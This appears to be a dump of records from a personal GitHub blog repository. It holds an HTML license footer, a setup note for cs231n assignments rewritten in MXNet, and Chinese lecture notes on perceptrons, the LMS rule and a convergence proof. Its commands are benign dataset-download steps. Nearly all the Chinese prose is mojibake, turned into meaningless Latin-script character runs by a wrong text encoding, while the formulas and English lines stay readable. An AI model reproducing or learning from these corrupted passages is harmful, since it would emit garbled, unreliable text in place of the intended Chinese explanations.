is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>x" }, { "alpha_fraction": 0.7289992570877075, "alphanum_fraction": 0.7574872374534607, "avg_line_length": 20.887096405029297, "blob_id": "e023a396e8e27ded440e84294926dba182eef49b", "content_id": "91e78d459437d4ea30ca30a5e33636c3b2a5f813", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1643, "license_type": "no_license", "max_line_length": 248, "num_lines": 62, "path": "/blog/cs231n/cs231n_MXNet.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "\n\n\n\n# Introduction\n\nๆ‰€ๆœ‰็š„ไปฃ็ ๆฅๆบ่‡ช่ฏพ็จ‹ cs231n ็š„ **spring1718_assignment[1](http://cs231n.github.io/assignments2018/assignment1/)&[2](http://cs231n.github.io/assignments2018/assignment2/)**๏ผŒ็ป่ฟ‡้‡ๆ–ฐๆ•ด็†๏ผŒ็ฒพ็ฎ€ๅ’Œ็ญ›้€‰๏ผŒๅนถไธ”ๆ”นๅˆถไธบ MXNet ๆก†ๆžถ่ฏญ่จ€ไธ‹็š„็ฎ€ๆดไปฃ็ ใ€‚ๅ†…ๅฎนๆถ‰ๅŠๅฆ‚ไฝ•ไปŽ้›ถ็ผ–ๅ†™ไธ€ไธช็ฅž็ป็ฝ‘็ปœๅ’Œ CNN ็ฝ‘็ปœ๏ผŒๅŽปๆŽ‰ไบ†ๅŽŸ่ฏพ็จ‹ไฝœไธšไธญ็š„ knn ๅ’Œ svm ไฝœไธš้ƒจๅˆ†ใ€‚\n\n\n\n\n\n# Setup\n\nไธ‹่ฝฝไปฃ็  github\n\n\n\n\n\n# Download data\n\nOnce you have the starter code, you will need to download the CIFAR-10 dataset. Run the following from theย `assignment2`ย directory:\n\n```shell\ncd cs231n/datasets\n./get_datasets.sh\n```\n\nๅฆ‚ๆžœ้‡ๅˆฐ `permission denied: ./get_datasets.sh`๏ผŒๅฐฑๅ…ˆ็”จไธ‹้ข็š„ไปฃ็ ๆ้ซ˜ๆƒ้™๏ผŒ็„ถๅŽ็ปง็ปญ่ฟ่กŒ `get_datasets.sh` ่„šๆœฌใ€‚\n\n```shell\nchmod +x get_datasets.sh\n```\n\nไธ‹่ฝฝๅฎŒๆˆๅŽไธ”่‡ชๅŠจ่งฃๅŽ‹ๅŽ๏ผŒไผšๅพ—ๅˆฐไธ€ไธชๆ–‡ไปถๅคนๅไธบ `cifar-10-batches-py` ็š„ๆ•ฐๆฎๆ–‡ไปถใ€‚\n\n\n\n\n\n# Q: Implement a Softmax classifier\n\nThe IPython Notebook **softmax.ipynb** will walk you through implementing the Softmax classifier.\n\n\n\n\n\n\n\n### Q4: Two-Layer Neural Network (25 points)\n\nThe IPython Notebook **two_layer_net.ipynb** will walk you through the implementation of a two-layer neural network classifier.\n\n### Q5: Higher Level Representations: Image Features (10 points)\n\nThe IPython Notebook **features.ipynb** will walk you through this exercise, in which you will examine the improvements gained by using higher-level representations as opposed to using raw pixel values.\n\n \n\n\n\n# Q: Fully-connected Neural Network\n\nThe IPython notebook `FullyConnectedNets.ipynb` \n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.4827028810977936, "alphanum_fraction": 0.5246254801750183, "avg_line_length": 27.724458694458008, "blob_id": "b8aa9a25ca4eb11b79cb46a782e74d1e37767f11", "content_id": "7650341fbef5ce4c23b48593e1f9442261a8bffd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 38871, "license_type": "no_license", "max_line_length": 394, "num_lines": 969, "path": "/blog/ANN/note1.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: ๅ‰้ฆˆๆ€งไบบๅทฅ็ฅž็ป็ฝ‘็ปœ\ndate: 2018-11-12\n---\n\n[่ฟ”ๅ›žๅˆฐ้ฆ–้กต](../index.html) | [่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html)\n\n---\n\n\n# ไบบๅทฅ็ฅž็ป็ฝ‘็ปœ\n\n[TOC]\n\n\n\n## ็ฌฌไบŒ็ซ  ๅ‰้ฆˆๆ€งไบบๅทฅ็ฅž็ป็ฝ‘็ปœ\n\n### 2.1 ็บฟๆ€ง้˜ˆๅ€ผๅ•ๅ…ƒ็ป„ๆˆ็š„ๅ‰้ฆˆ็ฝ‘็ปœ\n\nๅทฒ็Ÿฅ็ฅž็ปๅ•ๅ…ƒ๏ผˆ็บฟๆ€ง้˜ˆๅ€ผๅ•ๅ…ƒ๏ผ‰็š„่พ“ๅ…ฅ่พ“ๅ‡บ็š„ๅŸบๆœฌๅ…ณ็ณป๏ผš\n$$\n\\begin{align}\ns &= \\sum^n_iw_ix_i+\\theta \\\\\nu& =g(s) = s\\\\\ny&=f(u)=Sgn(u)=\n\\left\\{\\begin{matrix}\n1, & u\\geq0\\\\\n0,-1, & u<0\n\\end{matrix}\\right.\n\\end{align}\n$$\n็ป“ๅˆๅœจไธ€่ตทๅฐฑๆ˜ฏ๏ผš\n$$\ny=Sgn(\\sum^n_{i=1}w_ix_i-\\theta)\n$$\nๅ…ถไธญ่พ“ๅ…ฅ $x_i$ ๅ’Œๆƒ $w_i$ ้ƒฝๆ˜ฏไธ€ไธช n ็ปดๅฎžๆ•ฐๅ‘้‡๏ผŒ้˜ˆๅ€ผ $\\theta$ ๆ˜ฏไธ€ไธชๅฎžๆ•ฐ๏ผŒ่พ“ๅ‡บ y ๆ˜ฏไธ€ไธชไบŒๅ€ผๅ˜้‡ใ€‚\n\n \n\n#### M-P ๆจกๅž‹\n\nM-P ๆจกๅž‹็”ฑ McCulloch & Pitts ๆๅ‡บ๏ผŒๅฎƒๆœ‰ๅ›บๅฎš็š„็ป“ๆž„ๅ’Œๆƒ็ป„ๆˆ๏ผŒๆƒๅˆ†ไธบไธค็ง็ฑปๅž‹๏ผšๅ…ดๅฅ‹ๅž‹๏ผˆ1๏ผ‰ๅ’ŒๆŠ‘ๅˆถๅž‹๏ผˆ-1๏ผ‰๏ผš\n$$\n\\sum^n_{i=1}w_ix_i=\\sum^m_{j=1}x_{ej}-\\sum^k_{j=1}x_{ij} \\\\\ny = \\left\\{\\begin{matrix}\n1, \\sum^m_{j=1}x_{ej}-\\sum^k_{j=1}x_{ij} \\geq \\theta& \\\\ \n0, \\sum^m_{j=1}x_{ej}-\\sum^k_{j=1}x_{ij} < \\theta& \n\\end{matrix}\\right.\n$$\n\n1. \"ๆˆ–\"่ฟ็ฎ—๏ผš$(w_1, w_2 ,\\theta)=(1, 1, 1)$ \n2. \"ไธŽ\"่ฟ็ฎ—๏ผš$(w_1, w_2 ,\\theta)=(1, 1, 1.5)$\n3. \"้ž\"่ฟ็ฎ—๏ผš$(w, \\theta)=(-1, 0)$\n4. \"XOR๏ผˆๅผ‚ๆˆ–๏ผ‰\"่ฟ็ฎ—๏ผšM-P ๆจกๅž‹ๆ— ๆณ•ๅฎž็Žฐใ€‚\n\n> **ๅฐ็ป“๏ผš**M-P ๆจกๅž‹ๆˆ–็ฝ‘็ปœ็š„ๆƒใ€่พ“ๅ…ฅใ€่พ“ๅ‡บ้ƒฝๆ˜ฏไบŒๅ€ผๅ˜้‡๏ผˆ0ๆˆ–1๏ผ‰๏ผŒ่ฟ™ๅŒ็”จ้€ป่พ‘้—จ็ป„ๆˆ็š„้€ป่พ‘ๅผ็š„ๅฎž็ŽฐๅŒบๅˆซไธๅคง๏ผŒๅˆ็”ฑไบŽๅ…ถๆƒๆ— ๆณ•่ฐƒ่Š‚๏ผŒๅ› ่€Œ็Žฐๅœจๅพˆๅฐ‘ๆœ‰ไบบๅ•็‹ฌไฝฟ็”จใ€‚\n\n\n\n#### ๆ„Ÿ็Ÿฅๆœบๆจกๅž‹ไธŽๅญฆไน ็ฎ—ๆณ•๏ผš\n\nๆ„Ÿ็Ÿฅๆœบไฝœไธบ M-P ๆจกๅž‹็š„ไธ€็งๅ‘ๅฑ•ไธŽๆŽจๅนฟ๏ผŒๆœ‰**ไผ˜็‚น**๏ผš\n\n- ้ž็ฆปๆ•ฃ่พ“ๅ…ฅ\n- ้ž็ฆปๆ•ฃๆƒๅ€ผ\n- ๆƒๅฏไปฅไฟฎๆญฃๆˆ–ๅญฆไน \n- ๅปบ็ซ‹ไบ†ๅฎŒๆ•ด็š„ๅญฆไน ็ฎ—ๆณ•\n- ๅคšๅฑ‚ๆ„Ÿ็Ÿฅๆœบ็ฝ‘็ปœๅฏไปฅ่ฟ›่กŒๅคๆ‚็š„ๅˆ†็ฑป\n- ไธบ BP ็ฝ‘็ปœๅ‘ๅฑ•ๆไพ›ไบ†ๆจกๅž‹ๅ’Œ็†่ฎบๅŸบ็ก€\n\n\n\n1. ๅ•ๅฑ‚ๆ„Ÿ็Ÿฅๆœบ\n\n ่พ“ๅ…ฅๅ‘้‡๏ผš$x=[x_1,x_2,\\cdots,x_n]^T\\in \\mathbb{R}^n (or \\{\\pm1\\}^n)$\n\n ่พ“ๅ‡บๅ€ผ๏ผš\n $$\n y = Sgn(H(X))=\\left\\{\\begin{matrix}\n 1,& \\text{if } H(X) \\geq0๏ผ›\\\\\n -1,& \\text{if } H(X) < 0,\n \\end{matrix}\\right.\n $$\n where $H(X) = \\sum^n_{i=0}w_ix_i=\\sum^n_{i=1}w_ix_i-\\theta$ ๏ผŒๅณ $w_0=-\\theta, x_0=1$ใ€‚\n\n2. ๆ„Ÿ็Ÿฅๆœบ็š„ๅŠŸ่ƒฝไธŽ็บฟๆ€งๅฏๅˆ†ๆ€ง\n\n - ้€š่ฟ‡่ถ…ๅนณ้ข\n\n $$\n w_1x_1+w_2x_2+\\cdots+w_nx_n+\\theta=0\n $$\n\n โ€‹\tๅˆ’ๅˆ†ๅ‚ๆ•ฐ็ฉบ้—ด $\\mathbb{R}^n$ใ€‚\n\n - ่‹ฅไบŒๅˆ†็ฑป้—ฎ้ข˜๏ผŒ$x^i\\rightarrow t_i\\in\\{\\pm1\\}, i=1,2,\\cdots,N$\n\n - ่‹ฅๅญ˜ๅœจๆƒๅ‘้‡ $W=[w_1,\\cdots,w_n]^T$ ๅ’Œ้˜ˆๅ€ผ $\\theta $ ไฝฟๅพ— \n $$\n Sgn(Wx^j-\\theta)=Sgn(\\sum^n_{i=1}w_ix^j_i-\\theta) = t_j,\\,\\,\\,\\,\\,\\,\\,\\,\\,\\, j=1,2,\\cdots,N\n $$\n ๅˆ™็งฐๆ ทๆœฌ็ป„ $X=\\{x^1, x^2,\\cdots,x^N\\}$ ๅฏนไบŽ็›ฎๆ ‡ $T=\\{t_1,t_2,\\cdots,t_N\\}$ ๆ˜ฏ**็บฟๆ€งๅฏๅˆ†็š„**ใ€‚ \n\n - ่‹ฅ็บฟๆ€งๅฏๅˆ†๏ผŒๅˆ™็บฟๆ€งๅˆ†ๅ‰ฒ้ข๏ผˆ่ถ…ๅนณ้ข๏ผ‰ๅญ˜ๅœจๆ— ็ฉทๅคš็ง\n\n3. ๆ„Ÿ็Ÿฅๆœบๅญฆไน ็ฎ—ๆณ•\n\n > 1. ๅˆๅง‹ๅŒ–ๆƒๅ€ผ $w_i$ ๅ’Œ้˜ˆๅ€ผ $\\theta$ ๏ผ›\n >\n > 2. ๅœจ็ฌฌ k ๆ—ถๅˆป๏ผŒๅ–ๅพ— N ไธชๆ ทๆœฌ $x(k)\\in\\{x^1,x^2,\\cdots,x^N\\}$๏ผŒ$t(k)$ ๆ˜ฏ $x(k)$ ็š„็›ฎๆ ‡่พ“ๅ‡บ๏ผ›\n >\n > 3. ่ฎก็ฎ—็ฌฌ k ๆ—ถๅˆป็š„ๅฎž้™…่พ“ๅ‡บ๏ผš\n > $$\n > y(k) = Sgn(\\sum^n_{i=1}w_ix_i(k)-\\theta)\n > $$\n >\n > 4. ๅฏนๆƒๅ€ผๅ’Œ้˜ˆๅ€ผ่ฟ›่กŒไฟฎๆญฃ๏ผš\n > $$\n > \\begin{align}\n > w_i(k+1) &= w_i(k)+\\eta(t(k)-y(k))x_i(k) \\\\\n > \\theta(k+1) &= \\theta(k) - \\eta (t(k)-y(k))\n > \\end{align}\n > $$\n > ๅ…ถไธญ $\\eta$ ไธบๅญฆไน ็Ž‡๏ผŒไธ€่ˆฌไธบ 0.1 \n >\n > - ๅฝ“ไปค $\\delta(k)=t(x(k))-y(k)\\in\\{0,\\pm2\\}$๏ผŒ่ฏฅ็ฎ—ๆณ•็ฌฆๅˆ $\\delta$ ๅญฆไน ็Ž‡ใ€‚\n >\n > 5. ่ฟ”ๅ›žๅˆฐ็ฌฌ2ๆญฅ๏ผŒ็›ดๅˆฐๅฏนๆ‰€ๆœ‰ๆ ทๆœฌ $W$ ๅ’Œ $\\theta$ ไธๅ†ๆ”นๅ˜็ป“ๆŸใ€‚\n\n - ๆณจ๏ผš็ฎ—ๆณ•ๅœๆญขๆ—ถ๏ผŒๆฒกๆœ‰่ฏฏๅทฎ๏ผŒๅฎž้™…่พ“ๅ‡บไธŽ็›ฎๆ ‡่พ“ๅ‡บๅฎŒๅ…จไธ€่‡ด\n\n - ๆณจ๏ผšๆƒๅ’Œ้˜ˆๅ€ผ็š„ๅˆๅง‹ๅ€ผๆ˜ฏ้€‰ๅ–็š„ๅฐ้šๆœบๆ•ฐ\n\n - ๆณจ๏ผšๆ ทๆœฌ้€‰ๅ–็š„้กบๅบๅฏไปฅ้šๆœบๅ–๏ผŒไนŸๅฏไปฅๆŒ‰ๆŸๅ›บๅฎš้กบๅบ๏ผŒ้ๅŽ†ๆ‰€ๆœ‰ๆ ทๆœฌ\n\n - ๆ„Ÿ็Ÿฅๆœบๅญฆไน ็ฎ—ๆณ•็š„็ปŸไธ€ๆ ผๅผ๏ผš\n $$\n w_i(k+1)=w_i(k)+\\eta(t(x(k))-y(k))x_i(k),\\,\\,\\,\\,\\, i=0,1,\\cdots,n.\n $$\n ๅ…ถไธญ $w_0(k)=-\\theta(k),x_0(k)=-1$ใ€‚\n\n4. ๆ„Ÿ็Ÿฅๆœบๅญฆไน ็ฎ—ๆณ•็š„ๆŽจๅฏผ\n\n ๆ„Ÿ็Ÿฅๆœบๅญฆไน ็ฎ—ๆณ•ๅฎž้™…ไธŠๆ˜ฏไธ€็งๆœ€ๅฐๅ‡ๆ–น่ฏฏๅทฎ็š„ๆขฏๅบฆ็ฎ—ๆณ•๏ผˆLeast Means Square -- LMS๏ผ‰ ๅœจๆ„Ÿ็Ÿฅๅ™จไธŠ็š„ๆŽจๅนฟ๏ผŒไธ‹้ขๆˆ‘ไปฌๆฅ่ฟ›่กŒๆŽจๅฏผ๏ผš\n\n ไปค $w_0=\\theta, x_0\\equiv-1$๏ผŒๅˆ™ๆœ‰ $y=Sgn(\\sum^n_{i=0}w_ix_i)$ใ€‚\n\n ๅฏนไบŽ่พ“ๅ…ฅ๏ผš$x(k)=(x_0(k),x_1(k),\\cdots,x_n(k))^T\\rightarrow t(k)$๏ผŒๆœ‰็บฟๆ€งๅ•ๅ…ƒ็š„่พ“ๅ‡บไธบ๏ผš$\\hat{y}(k)=\\sum^n_{i=0}w_i(k)x_i(k)$๏ผŒๅ…ถไธŽ็›ฎๆ ‡ๅ€ผ็š„่ฏฏๅทฎๆ˜ฏ๏ผš$e(k)=(t(k)-\\hat{y}(k))^2$ใ€‚\n\n ้‡‡็”จๅ‘้‡็ฌฆๅท๏ผŒๆˆ‘ไปฌๅฏไปฅ่กจ็คบ LMS ็ฎ—ๆณ•ๅฆ‚ไธ‹๏ผš\n $$\n \\begin{align}\n &\\frac{\\partial e(k)}{\\partial W}=-2(t(k)-\\hat{y}(k))x(k)\\\\\n &W(k+1)=W(k)-\\eta\\frac{\\partial e(k)}{\\partial W}=W(k)+2\\eta(t(k)-\\hat{y}(k))x(k)\\\\\n &w_i(k+1)=w_i(k)+2\\eta(t(k)-\\hat{y}(k))x_i(k)\n \\end{align}\n $$\n ๅ› ๆญค๏ผŒๆ„Ÿ็Ÿฅๆœบๅญฆไน ็ฎ—ๆณ•ๆ˜ฏโ€œ็บฟๆ€งๅ•ๅ…ƒโ€ไธ‹็š„ LMS ็ฎ—ๆณ•ๅœจๆ„Ÿ็Ÿฅๆœบๅญฆไน ไธŠ็š„ๅบ”็”จใ€‚่€Œๆ„Ÿ็Ÿฅๆœบๆœฌ่บซๅดไธ่ƒฝ็›ดๆŽฅๆŽจๅฏผๅ‡บ LMS ็ฎ—ๆณ•๏ผŒไธบไป€ไนˆ๏ผŸ็„ถ่€Œ๏ผŒๆ„Ÿ็Ÿฅๆœบ็ฎ—ๆณ•ๅœจไธ€ๅฎšๆกไปถไธ‹ๆ˜ฏๆ”ถๆ•›็š„ใ€‚\n\n5. ๆ„Ÿ็Ÿฅๆœบๅญฆไน ็ฎ—ๆณ•็š„ๆ”ถๆ•›ๆ€ง\n\n > ๅฎš็†\n >\n > ่‹ฅ่พ“ๅ…ฅๆ ทๆœฌ้›† $X=\\{x^1,x^2,\\cdots,x^N\\}$๏ผŒๅฏนไบŽไบŒๅ…ƒ็›ฎๆ ‡้›† $T=\\{t_1,t_2,\\cdots,t_N\\}$ ๆ˜ฏ็บฟๆ€งๅฏๅˆ†็š„๏ผŒๆ„Ÿ็Ÿฅๆœบๅญฆไน ็ฎ—ๆณ•่ƒฝๅคŸๅœจๆœ‰้™ๆญฅๅ†…ๆ”ถๆ•›ๅˆฐๆญฃ็กฎ็š„ $W$ ใ€‚\n\n ่ฏๆ˜Ž๏ผšๅ…ˆๅฐ†็ฎ—ๆณ•่ฟ›่กŒไธ€ไบ›็ฎ€ๅŒ–ๅ’Œๅค„็†๏ผš\n\n ๏ผˆ1๏ผ‰่‹ฅๅญ˜ๅœจ $W$ ไฝฟๅพ— $Sgn(W^Tx^i)=t_i,i=1,2,\\cdots,N$๏ผŒๅˆ™ๅฟ…็„ถๅญ˜ๅœจ $W$ ไฝฟๅพ—\n $$\n \\left\\{\\begin{matrix}\n W^Tx^i>0 & t^i=1\\\\ \n W^Tx^i<0 & t^i=-1\n \\end{matrix}\\right.\n $$\n โ€‹\tๅ› ๆญคๆˆ‘ไปฌๅฏๅ‡ๅฎšๆญฃ็กฎ็š„ๆƒๅ‘้‡ $W$ ๆปก่ถณไธŠ้ข็š„ไธฅๆ ผไธ็ญ‰ๅผใ€‚\n\n ๏ผˆ2๏ผ‰ ๆ ทๆœฌๅฝ’ไธ€๏ผŒ็›ฎๆ ‡็ปŸไธ€ๅŒ–\n\n โ€‹\tๅฏนๆ‰€ๆœ‰ๆ ทๆœฌ $x^i$๏ผŒไปค๏ผš$||x^i||=1,i=1,2,\\cdots,N$ใ€‚่ฟ™ๆ ทไธŽๅŽŸๅญฆไน ้—ฎ้ข˜ๆ˜ฏ็ญ‰ไปท็š„ใ€‚\n\n โ€‹\tๅฆๅค–๏ผŒๆˆ‘ไปฌๅฐ†ๅฏนๅบ”ไบŽ $t_i=1$ ็š„ๆ ทๆœฌๆขไธบ $-x^i$๏ผŒๅนถไฝฟ็”จ $-x^i$ ่ฟ›่กŒๅญฆไน ใ€‚่ฟ™ๆ ทๆ‰€ๆœ‰ๅญฆไน ๆ ทๆœฌ็š„็›ฎๆ ‡ๅ€ผๅ…จ้ƒจไธบ1๏ผŒๅณ $t_i=1$ ใ€‚ๅฐฝ็ฎกๅฆ‚ๆญค๏ผŒไฝ†ไธŽๅŽŸ้—ฎ้ข˜ๅ…ทๆœ‰็ญ‰ไปท็š„ๅญฆไน ็›ฎๆ ‡ใ€‚\n\n ๏ผˆ3๏ผ‰ๅ‡่ฎพ $W^*$ ไธบไธ€ไธชๆ‰€ๆฑ‚็š„ๆƒๅ‘้‡๏ผŒๅนถไปค $||W^*||=1$ ไฝฟๅพ— $W^{*T}x^i>\\delta>0,\\forall i\\in\\{1,2,\\cdots,N\\}$ ๏ผˆ$W^*$ ๆปก่ถณ๏ผˆ1๏ผ‰๏ผ‰๏ผŒๅนถไธ”ๆƒๅ‘้‡ๅบๅˆ—ไธบ๏ผš$W(0),W(1),\\cdots,W(k),W(k+1),\\cdots$ใ€‚\n\n ๏ผˆ4๏ผ‰ๅญฆไน ่ง„ๅˆ™๏ผˆๅฎž่ดจๆ€งๅญฆไน ๏ผ‰\n $$\n \\begin{align}\n W(k+1)&=W(k)+\\eta(t(k)-y(k))x(k) \\\\\n &=W(k)+2\\eta x(k)\\\\\n &=W(k)+\\mu x(k) \\;\\;\\;\\;\\; (\\mu=2\\eta>0)\n \\end{align}\n $$\n ไธ‹้ขๆˆ‘ไปฌ่ฏๆ˜Ž๏ผš\n $$\n W(k)\\rightarrow W^*\n $$\n ไปค๏ผš\n $$\n c(k)=\\frac{W^*\\cdot W(k)}{||W^*||||W(k)||}=\\frac{W^*\\cdot W(k)}{||W(k)||}\n $$\n ๅˆ™\n $$\n \\begin{align}\n W^*\\cdot W(k+1)&=W^*\\cdot(W(k)+\\mu x(k))\\\\\n &=W^*\\cdot W(k)+\\mu W^*\\cdot x(k)\\\\\n &\\geq W^*\\cdot W(k)+\\mu \\delta\\\\\n &\\geq W^*\\cdot W(0)+(k+1)\\mu\\delta\\\\\n &\\geq (k+1)\\mu\\delta\\;\\;\\;\\;\\;(W^*\\cdot W(0)\\geq 0)\n \\end{align}\n $$\n ๅฆไธ€ๆ–น้ข๏ผŒๆˆ‘ไปฌๆœ‰\n $$\n \\begin{align}\n ||W(k+1)||^2\n &=W(k+1)\\cdot W(k+1)\\\\\n &=||W(k)||^2+2\\mu W(k)\\cdot x(k)+||x(k)||^2\\mu^2\\\\\n &=||W(k)||^2+2\\mu W(k)\\cdot x(k)+\\mu^2\\\\\n &<||W(k)||^2+\\mu^2\\\\\n &<||W(0)||^2+(k+1)\\mu^2\\\\\n &<1+(k+1)\\mu^2\n \\end{align}\n $$\n ็ป“ๅˆไธŠ้ขไธคไธชไธ็ญ‰ๅผ๏ผŒๅพ—๏ผš\n $$\n \\begin{align}\n &1\\geq c(k)=\\frac{W^*\\cdot W(k)}{||W(k)||}\\geq\\frac{k\\mu\\delta}{\\sqrt{1+k\\mu^2}}\\\\\n &\\Rightarrow 1+k\\mu^2>k^2\\mu^2\\delta^2\\\\\n &\\Rightarrow k\\leq\\frac{1+\\sqrt{1+\\frac{4\\delta^2}{\\mu^2}}}{2\\delta^2}\n \\end{align}\n $$\n ๅ› ๆญค๏ผŒ$k$ ๆ˜ฏๆœ‰้™็š„๏ผŒ็ฎ—ๆณ•ๅฟ…็„ถๅœจๆœ‰้™ๆญฅๅ†…ๅœๆญขๆˆ–ๆ”ถๆ•›ใ€‚่ฏๆ˜ŽๅฎŒๆฏ•ใ€‚ \n\n\n\n\n\n#### ๅคšๅฑ‚ๆ„Ÿ็Ÿฅๆœบ็ฝ‘็ปœ\n\n- ้ž็บฟๆ€งๅˆ†็ฑป้—ฎ้ข˜\n\n ![](https://i.loli.net/2018/10/18/5bc840d2b7c53.png)\n\n- ๅคšๅฑ‚ๆ„Ÿ็Ÿฅๆœบ็š„็ป“ๆž„\n\n ![](https://i.loli.net/2018/10/18/5bc841967b58c.png)\n\n- ้ž็บฟๆ€งๅˆ†็ฑป็š„ๅคšๅฑ‚ๆ„Ÿ็Ÿฅๆœบ่ฎพ่ฎก\n\n ่€ƒ่™‘ไบŒ็ปดๅนณ้ขไธŠ็‚น็š„้ž็บฟๆ€งๅˆ†็ฑป๏ผŒๅˆ™ $n=2$ใ€‚\n\n ![](https://i.loli.net/2018/10/18/5bc842961ace2.png)\n\n ๆˆ‘ไปฌไธ€่ˆฌไฝฟ็”จไธ‰ๅฑ‚็ฝ‘็ปœ๏ผŒๅณ\n $$\n \\begin{align}\n h_j&=Sgn(\\sum^2_{i=1}w_{ji}x_i-\\theta_j), \\;\\;\\;\\;j=1,2,\\cdots,m\\\\\n o_p&=Sgn(\\sum^m_{j=1}w_jh_j-\\theta)\n \\end{align}\n $$\n ๆฏไธช้šๅ•ๅ…ƒๆ˜ฏไธ€ไธชๆ„Ÿ็Ÿฅๆœบ๏ผŒไนŸๅฐฑๆ˜ฏไธ€ไธช่ถ…ๅนณ้ข๏ผŒ่ฟ™ไบ›่ถ…ๅนณ้ข้€š่ฟ‡็ป“ๅˆ็ป„ๆˆ้ž็บฟๆ€งๅˆ†็ฑปๅŒบๅŸŸ๏ผˆ่ถ…ๅคš้ขไฝ“๏ผ‰ใ€‚\n\n ่พ“ๅ…ฅๅ•ๅ…ƒไพ้€ป่พ‘ๅ•ๅ…ƒ่กจ็คบ๏ผš\n\n ![](https://i.loli.net/2018/10/18/5bc8432a90905.png)\n\n- ๆ„Ÿ็Ÿฅๆœบ็ฝ‘็ปœ้šๅ•ๅ…ƒๆ•ฐ็š„ไธŠ้™\n\n $$\n \\begin{align}\n h_j&=Sgn(\\sum^2_{i=1}w_{ji}x_i-\\theta_j), \\;\\;\\;\\;j=1,2,\\cdots,m\\\\\n o_p&=Sgn(\\sum^m_{j=1}w_jh_j-\\theta)\n \\end{align}\n $$\n\n 1. ้šๅ•ๅ…ƒๆ•ฐ $n_1$ ็š„ไธŠ้™\n\n ๅ‡่ฎพๆ ทๆœฌ้›†ๅˆ็›ฎๆ ‡ไธบ $X=\\{x^1,x^2,\\cdots,x^N\\}\\rightarrow T=\\{t_1,t_2,\\cdots,t_N\\}$ใ€‚ๅœจ่พ“ๅ…ฅ็ฉบ้—ดไธŠ๏ผŒๅญ˜ๅœจ $N$ ไธชๆ ท ๆœฌ๏ผŒๅฆ‚ๆžœ้œ€่ฆ็”จ $n_1$ ่ถ…ๅนณ้ขๅˆ’ๅˆ†่พ“ๅ…ฅ็ฉบ้—ดๅนถ่ฟ›่กŒไปปๆ„ไบŒๅ…ƒๅˆ†็ฑป๏ผŒๅˆ™ๆ‰€้œ€ๆœ€ๅคง็š„้šๅ•ๅ…ƒๆ•ฐ $n_1$ ๆปก่ถณ๏ผš$n_1=N-1$.\n\n ไธ‹้ข้ชŒ่ฏๅญ˜ๅœจ่ฟ™ๆ ท็š„ไธ‰ๅฑ‚ๆ„Ÿ็Ÿฅๆœบ็ฝ‘็ปœ่ƒฝๅคŸๅฎž็Žฐๅˆ†็ฑป็›ฎๆ ‡ใ€‚่€ƒ่™‘ $N\\times N$ ็š„็Ÿฉ้˜ต D๏ผš\n\n ![](https://i.loli.net/2018/10/31/5bd9ba08bf872.png)\n\n ๆ˜พ็„ถ D ๆ˜ฏๆปก็งฉ็š„ใ€‚็Ÿฉ้˜ตไธญๅ„ๅˆ—ไธญ1๏ผŒ-1่กจ็คบๅฏนๆ ทๆœฌ็š„ๅˆ†็ฑป๏ผŒx ่กจ็คบๅˆ†็ฑป็ป“ๆžœไธๅฎšใ€‚็ฌฌ i ๅˆ—ๅฏนๅ‰ฉไธ‹็š„ N-i+1 ไธชๆ ทๆœฌ๏ผŒๆ‰พไธ€ไธช่ถ…ๅนณ้ข๏ผŒๅฐ†ไธ€ไธชๆ ทๆœฌไธŽๅ…ถไป–ๆ ทๆœฌๅŒบๅˆ†ๅผ€๏ผŒ่ฏฅๆ ทๆœฌๅค„ไบŽๆญฃ้ข๏ผŒๅ…ถไป–ๅค„ไบŽ่ดŸ้ขใ€‚ๅฏนไบŽไปฅๅ‰่€ƒ่™‘่ฟ‡็š„ๆ ทๆœฌๅˆ™ไธ็ฎกๅฎƒไปฌๅค„ไบŽๅ“ช้ขใ€‚่ฟ™ๆ ทๅช้œ€ N-1 ่ถ…ๅนณ้ข๏ผˆ้šๅ•ๅ…ƒ๏ผ‰ๅฐฑๅพ—ๅˆฐไบ† Dใ€‚\n\n ไปค $C=(w_1,w_2,\\cdots,w_{N-1},\\theta)^T$๏ผŒๅˆ™\n $$\n DC= G\\Leftrightarrow C=D^{-1}G, \\,\\,\\,\\,\\,\\,\\,\\,\\,\\,G=(t_1,t_2,\\cdots,t_N)^T\n $$\n ๆ•… $n_1=N-1$ใ€‚\n\n 2. ้šๅ•ๅ…ƒๆ•ฐ $n_1$ ็š„ไธ‹้™ \n\n ้šๅ•ๅ…ƒๆ‰€ๅฝขๆˆ็š„่ถ…ๅนณ้ขๅฐ†่พ“ๅ…ฅ็ฉบ้—ดๅˆ’ๅˆ†ๆˆไธ€ไบ›ๅŒบๅŸŸใ€‚ไพ‹ๅฆ‚๏ผŒๅœจไบŒ็ปด็ฉบ้—ดไธŠ๏ผŒไธ‰ๆก็›ด็บฟๅฐ†็ฉบ้—ด ๅˆ’ๅˆ†ไธบไธ€ไธชๅฐ้—ญๅŒบๅŸŸๅ’Œ21ไธชๅผ€ๅŒบๅŸŸใ€‚ไฝ†็‹ฌ็ซ‹็š„ๅŒบๅŸŸไป…ๆœ‰7ไธชใ€‚ \n\n ![](https://i.loli.net/2018/10/31/5bd9c26388462.png)\n\n ่‹ฅ่ฎฉๆฏไธชๆ ทๆœฌ้ƒฝ่ฝๅ…ฅไธ€ไธช็‹ฌ็ซ‹็š„ๅŒบๅŸŸไธญ๏ผŒ้‚ฃไนˆๅœจๆฏไธชๆ ทๆœฌ่พ“ๅ…ฅๆ—ถ๏ผŒๅฏนๅบ”็š„้šๅ•ๅ…ƒ็š„่พ“ๅ‡บๆ˜ฏไธๅŒ็š„๏ผŒไปŽ่€Œๅฏไปฅ้€š่ฟ‡โ€œไธŽโ€ใ€โ€œๆˆ–โ€็š„็ป„ๅˆๅพ—ๅˆฐๆญฃ็กฎๅˆ†็ฑปใ€‚่ฟ™ๆ ท๏ผŒๅฏน 